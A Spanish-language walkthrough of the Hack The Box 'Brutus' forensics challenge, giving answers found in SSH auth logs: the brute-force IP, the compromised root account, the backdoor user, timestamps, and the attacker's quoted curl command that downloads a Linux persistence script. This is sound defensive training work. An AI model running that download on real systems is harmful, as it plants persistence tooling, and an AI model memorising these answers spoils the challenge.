Skip to main content

Sherlock Brutus

Hack The Box – Sherlocks


  • Tags: #Forensics  #Linux  #Challenge

Reconocimiento

  • Se proporcionaron los siguientes archivos para el análisis forense:
    • auth.log
    • wtmp
    • utmp.py

Análisis y respuestas

Task 1

  • Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack? Respuesta: 65.2.161.68

Esta respuesta se puede encontrar revisando el archivo "auth.log" y viendo la IP que comienza a aparecer en el momento que inician los intentos fallidos de inicio de sesión:


Task 2

  • The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account? Respuesta: root

Esta respuesta se puede encontrar revisando una parte más abajo del archivo "auth.log", cuando ingresa con credenciales válidas:


Task 3

  • Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. Respuesta: 2024-03-06 06:32:45

Esta respuesta se encuentra al ejecutar el script "utmp.py" pasándole el archivo "wtmp", específicamente en la antepenúltima línea (es necesario pasar a UTC la hora que aparece en la ejecución):


Task 4

  • SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2? Respuesta: 37

La respuesta se encuentra justo después de la respuesta de la pregunta 2:


Task 5

  • The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account? Respuesta: cyberjunkie

Unas líneas más abajo de la respuesta de la pregunta anterior, se puede ver que el atacante creó un usuario llamado "cyberjunkie":


Task 6

  • What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account? Respuesta: T1136.001

Para esta respuesta es necesario buscar en la página del MITRE e identificar la sub-técnica de persistencia


Task 7

  • What time did the attacker's first SSH session end according to auth.log? Respuesta: 2024-03-06 06:37:24

Esta respuesta se puede encontrar un poco más abajo de la respuesta de la pregunta 5:


Task 8

  • The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo? Respuesta: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Esta respuesta se encuentra en el archivo "auth.log" en una de las últimas líneas e indica que el atacante descargó un script de GitHub: